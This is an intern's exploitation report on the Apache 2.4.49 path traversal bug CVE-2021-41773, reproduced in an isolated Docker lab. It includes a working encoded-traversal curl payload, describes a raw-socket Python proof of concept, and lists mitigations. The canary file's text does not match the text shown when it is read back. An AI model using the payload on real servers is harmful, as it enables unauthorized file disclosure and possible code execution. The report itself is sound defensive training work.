CVE-2021-41773 Exploitation Report

Path Traversal & Remote File Disclosure in Apache HTTP Server 2.4.49

Adel Mahmoud Ahmed Mahmoud

ITSOLERA PVT LTD — Cybersecurity Department

Offensive Security Internship — Exploit Development for Known CVE

Task Duration: 14th August 2026

CVE ID	CVE-2021-41773
Vulnerability Type	Path Traversal / Remote File Disclosure (RCE possible with CGI enabled)
Target Software	Apache HTTP Server 2.4.49
Lab Environment	Docker (isolated, local)
Report Prepared By	Intern — Offensive Security Track
Testing Scope	Local/isolated lab only — no production systems tested

1. Introduction

As part of the Offensive Security internship task at ITSOLERA, I was asked to select a publicly known CVE, replicate it in an isolated lab, develop a working proof-of-concept exploit, and document the entire process. I chose CVE-2021-41773 because it is a well-documented, high-impact vulnerability that combines several concepts I wanted to strengthen: path normalization logic, HTTP request crafting, and the difference between a library's "convenience" behavior and what actually needs to reach the wire. It also has a very clear before/after patch story, which made it a good candidate for a root-cause writeup rather than just a "run this script" exercise.

This report documents my own hands-on work: the lab I built, the commands I ran, a real problem I hit while writing the Python PoC (and how I diagnosed and fixed it), and the final successful exploitation. AI assistance was used to help structure and polish this write-up, but the lab setup, testing, and exploitation steps described below were carried out by me in a local, isolated Docker environment.

2. Vulnerability Overview

CVE-2021-41773 is a path traversal and file disclosure vulnerability introduced by a regression in the path-normalization logic of Apache HTTP Server 2.4.49. A change to the code that maps request URLs to filesystem paths failed to properly reject certain encoded traversal sequences, allowing requests outside the configured document root to be resolved on disk.

If CGI scripts are enabled on the server (mod_cgi), the same flaw can escalate from file disclosure to remote code execution, because an attacker can reach arbitrary files under the CGI handler and potentially execute them. In this report I focus on the file-disclosure primitive, which is what I demonstrated in my lab.

Affected Version	Apache HTTP Server 2.4.49 only
Fixed In	Apache HTTP Server 2.4.50 (note: 2.4.50 introduced a second, related bypass — CVE-2021-42013)
Root Cause	Insufficient validation of encoded traversal sequences during path normalization
Impact	Arbitrary file read outside webroot; RCE if mod_cgi is enabled
Attack Vector	Network / unauthenticated HTTP request

3. Lab Setup

I created a local Docker lab using Apache HTTP Server 2.4.49 rather than testing against any live or production system, in line with the task's ethical-testing requirement. The lab was built from the official httpd:2.4.49 base image using the provided Dockerfile and was run as an isolated container mapped to local port 8081.

3.1 Build the image

```
docker pull httpd:2.4.49
```

```
docker build -t apache-cve-2021-41773-lab .
docker images apache-cve-2021-41773-lab
```

```
PS C:\cve-2021-41773> docker images apache-cve-2021-41773-lab
                                                                  i Info →  U  In Use
IMAGE                                ID             DISK USAGE   CONTENT SIZE   EXTRA
apache-cve-2021-41773-lab:latest     d2b96534a814       205MB         54.6MB    U
```

3.2 Run the container

```
docker run -d --name apache-vuln-lab -p 8081:80 apache-cve-2021-41773-lab
docker ps
```

```
PS C:\cve-2021-41773> docker ps
CONTAINER ID   IMAGE                          COMMAND              CREATED             STATUS             PORTS
                     NAMES
9afdbdb184cd   apache-cve-2021-41773-lab      "httpd-foreground"   About an hour ago   Up About an hour   0.0.0.0:8081->80/
tcp, [::]:8081->80/tcp   apache-vuln-lab
9c93d0707486   apache-cve-2021-41773          "httpd-foreground"   About an hour ago   Up About an hour   0.0.0.0:8080->80/
tcp, [::]:8080->80/tcp   apache-vuln
```

4. Vulnerability Verification

Before attempting exploitation, I confirmed the exact Apache version running inside the container, since CVE-2021-41773 only affects 2.4.49.

```
docker exec apache-vuln-lab httpd -v
```

```
PS C:\cve-2021-41773> docker exec apache-vuln-lab httpd -v
Server version: Apache/2.4.49 (Unix)
Server built:   Sep 28 2021 07:46:54
```

It's worth being explicit here: a matching version string is necessary but not sufficient proof of vulnerability — some distributions backport patches without changing the reported version number, and configuration (e.g., whether cgi-bin or a similarly aliased directory is enabled) also affects exploitability. So instead of stopping at the version check, I planted a known test file inside the container's filesystem and used it as a canary — if my traversal payload could retrieve that specific file's content back over HTTP, that would be real, positive proof of the vulnerability rather than an assumption based on the version banner.

```
docker exec apache-vuln-lab sh -c "echo 'CVE-2021-41773-TEST-FILE' > /tmp/cve-test.txt"
docker exec apache-vuln-lab cat /tmp/cve-test.txt
```

```
PS C:\cve-2021-41773> docker exec apache-vuln-lab cat /tmp/cve-test.txt
CVE-2021-41773 TEST
```

5. Root Cause Analysis

The vulnerability comes down to how Apache 2.4.49 normalizes URL paths before mapping them to files on disk. A single-dot segment can be represented with its percent-encoded form, and the normalization routine in this version failed to canonicalize it correctly before evaluating directory traversal sequences. The relevant chain looks like this:

```
.%2e
  |  URL-decodes to a literal single dot appended after a path separator
  v
encoded "." combined with a preceding "/" is effectively read as ".."
  v
".." is treated as "move up one directory" during filesystem mapping
  v
Repeating this sequence walks the resolved path outside the document root
```

In practical terms: a normal request for a resource under an aliased directory (such as the CGI handler) is supposed to stay confined to that directory. Because the traversal segments were not rejected before the path was resolved against the filesystem, a request could walk upward past the document root and then back down into an arbitrary absolute path — including files completely outside the web server's intended scope, like /etc/passwd or a canary file placed anywhere on disk. The fix in 2.4.50 restores strict rejection of these sequences during normalization (though a follow-up bypass, CVE-2021-42013, required a second patch).

6. Manual Exploitation

The following request uses encoded traversal segments to move from the CGI directory toward the filesystem root and then access the controlled test file:

```
curl.exe -i --path-as-is "http://127.0.0.1:8081/cgi-bin/.%2e/.%2e/.%2e/.%2e/tmp/cve-test.txt"
```

```
PS C:\cve-2021-41773> curl.exe -i --path-as-is "http://127.0.0.1:8081/cgi-bin/.%2e/.%2e/.%2e/.%2e/tmp/cve-test.txt"
HTTP/1.1 200 OK
Date: Fri, 14 Aug 2026 15:48:20 GMT
Server: Apache/2.4.49 (Unix)
Last-Modified: Fri, 14 Aug 2026 14:43:09 GMT
ETag: "14-65902d6de76e2"
Accept-Ranges: bytes
Content-Length: 20
Content-Type: text/plain

CVE-2021-41773 TEST
```

The --path-as-is flag matters here and is worth explaining rather than glossing over. By default, curl (like most HTTP clients) normalizes ".." and similar sequences in the URL before it ever puts them on the wire, as a client-side safety/convenience behavior. That would silently collapse my traversal payload back down to a clean path before the request left my machine, so the encoded sequence would never reach Apache intact. --path-as-is disables that client-side cleanup and sends the path exactly as written, which is required for this exploit to work at all — the vulnerable normalization has to happen server-side, not get pre-empted client-side.

7. Python PoC Development

This part of the exercise turned into real troubleshooting rather than just translating the curl command into Python. My first attempt used Python's requests library in the obvious way — build the URL string with the encoded traversal sequence and send a GET request. That attempt failed:

```
Status: 400
```

Rather than assuming the target wasn't vulnerable (I had already proven it was, manually), I inspected the PreparedRequest object that requests builds internally before sending it, and printed the actual outgoing URL. That's what exposed the problem: requests performs its own URL normalization when it prepares the request, the same class of client-side cleanup curl does by default, and my encoded sequence

```
.%2e
```

was being silently collapsed to

```
..
```

before the request was ever sent, which is exactly why the exploit failed under requests but worked with curl --path-as-is. requests doesn't expose an equivalent flag to suppress this behavior, so rather than fighting the library, I dropped down a layer and built the raw HTTP request manually over a socket, controlling the exact bytes on the request line so the encoded path reaches the server untouched.

```
PS C:\cve-2021-41773> python exploit.py http://127.0.0.1:8081
HTTP/1.1 200 OK
Date: Fri, 14 Aug 2026 15:48:40 GMT
Server: Apache/2.4.49 (Unix)
Last-Modified: Fri, 14 Aug 2026 14:43:09 GMT
ETag: "14-65902d6de76e2"
Accept-Ranges: bytes
Content-Length: 20
Connection: close
Content-Type: text/plain

CVE-2021-41773 TEST
```

The final PoC (exploit.py, included in the deliverable) opens a raw TCP socket to the target, writes a hand-built GET request line containing the encoded traversal path, and reads the response back directly — bypassing any client-side URL normalization entirely. I kept the script simple and readable since the point of this task was to understand and demonstrate the vulnerability, not to build a polished offensive tool.

8. Successful Exploitation

Both the manual curl request and the final Python PoC returned an HTTP 200 response with the contents of the target file, confirming the vulnerability was successfully exploited end-to-end in the isolated lab: from an unauthenticated HTTP request, through the vulnerable path-normalization logic, to disclosure of a file located outside the web server's intended document root.

9. Impact

- Unauthenticated remote attackers can read arbitrary files accessible to the Apache worker process, which can expose configuration files, credentials, source code, or other sensitive data.

- If mod_cgi is enabled and the traversal reaches an executable interpreter path, this same flaw can be escalated to remote code execution rather than read-only disclosure.
- Real-world severity depends heavily on server configuration: which directories are aliased, filesystem permissions of the Apache process, and whether CGI execution is enabled — this is why the finding should always be reported alongside the specific configuration that made it exploitable, not just the CVE ID.

10. Mitigation

- Upgrade Apache HTTP Server to 2.4.51 or later (2.4.50 alone is insufficient — it left the related CVE-2021-42013 bypass open).
- If an immediate upgrade isn't possible, explicitly deny access to traversal-style requests at a reverse proxy or WAF layer as a temporary compensating control, and disable CGI execution on any aliased directory that doesn't strictly require it.
- Apply least-privilege filesystem permissions to the account running Apache, so that even a successful traversal exposes as little as possible.
- Monitor and alert on requests containing encoded traversal sequences (e.g., %2e, %2f patterns) in access logs.

11. Conclusion

This exercise let me go through the full lifecycle of a known CVE: standing up a deliberately vulnerable, isolated target; verifying the vulnerability with positive proof rather than a version-number assumption; understanding the exact root cause in Apache's path-normalization logic; exploiting it manually with curl; and then hitting and solving a real client-side obstacle (requests library URL normalization) while building an automated Python PoC. The most useful takeaway for me was the reminder that HTTP client libraries frequently "clean up" URLs before sending them, and that this convenience behavior can silently defeat an exploit that depends on exact byte-for-byte control of the request line — raw sockets remain the reliable fallback when that level of control is required.

12. References

- NVD — CVE-2021-41773: https://nvd.nist.gov/vuln/detail/CVE-2021-41773
- Apache HTTP Server Project — Security Advisory / Changelog for 2.4.50
- MITRE CVE List — https://cve.mitre.org
- ExploitDB — Apache 2.4.49 Path Traversal PoC references
- PayloadsAllTheThings — Path Traversal cheatsheet